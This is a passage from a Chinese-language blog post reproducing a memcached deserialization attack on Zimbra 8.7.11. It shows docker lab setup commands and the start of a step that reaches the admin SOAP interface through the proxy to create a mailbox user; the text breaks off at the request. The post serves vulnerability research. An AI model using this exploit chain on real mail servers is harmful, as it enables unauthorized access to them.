前言
之前懒了一下,没复现memcached反序列化的部分。
在看本文之前请先看完上一篇复现:
https://blog.youkuaiyun.com/fnmsd/article/details/88657083
本篇复现基于8.7.11进行复现,就是官网上直接下的。
纯技术研究,请勿使用在非法用途。
环境搭建
直接用docker,https://hub.docker.com/r/jorgedlcruz/zimbra
虚拟机中使用,请给4G以上内存。
docker pull jorgedlcruz/zimbra
docker run -p 25:25 -p 80:80 -p 465:465 -p 587:587 -p 110:110 -p 143:143 -p 993:993 -p 995:995 -p 443:443 -p 8080:8080 -p 8443:8443 -p 7071:7071 -p 9071:9071 -h zimbra-docker.zimbra.io --dns 127.0.0.1 --dns 8.8.8.8 -i -t -e PASSWORD=Zimbra2017 jorgedlcruz/zimbra
如果过程失败就exec到启动的Container里执行:
cd /opt/zimbra-install/zcs-* && ./install.sh -s < /opt/zimbra-install/installZimbra-keystrokes
,基本都是网络问题,重执行几次就好了。安装成功后,再执行如下命令:
/opt/zimbra/libexec/zmsetup.pl -c /opt/zimbra-install/installZimbraScript
su - zimbra -c 'zmcontrol restart'
具体安装过程看docker中的/opt/start.sh
题外话:其实端口不映射出来也没问题,直接访问相应的docker ip就好(172.17.0.2之类的)
获取普通用户
由于memcached的反序列化与邮箱账户有关,此处我们需要一个普通的邮箱。
方法一:通过Admin接口创建用户
依然是通过Proxy走admin soap接口,name需要是个邮箱地址,password6位以上
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name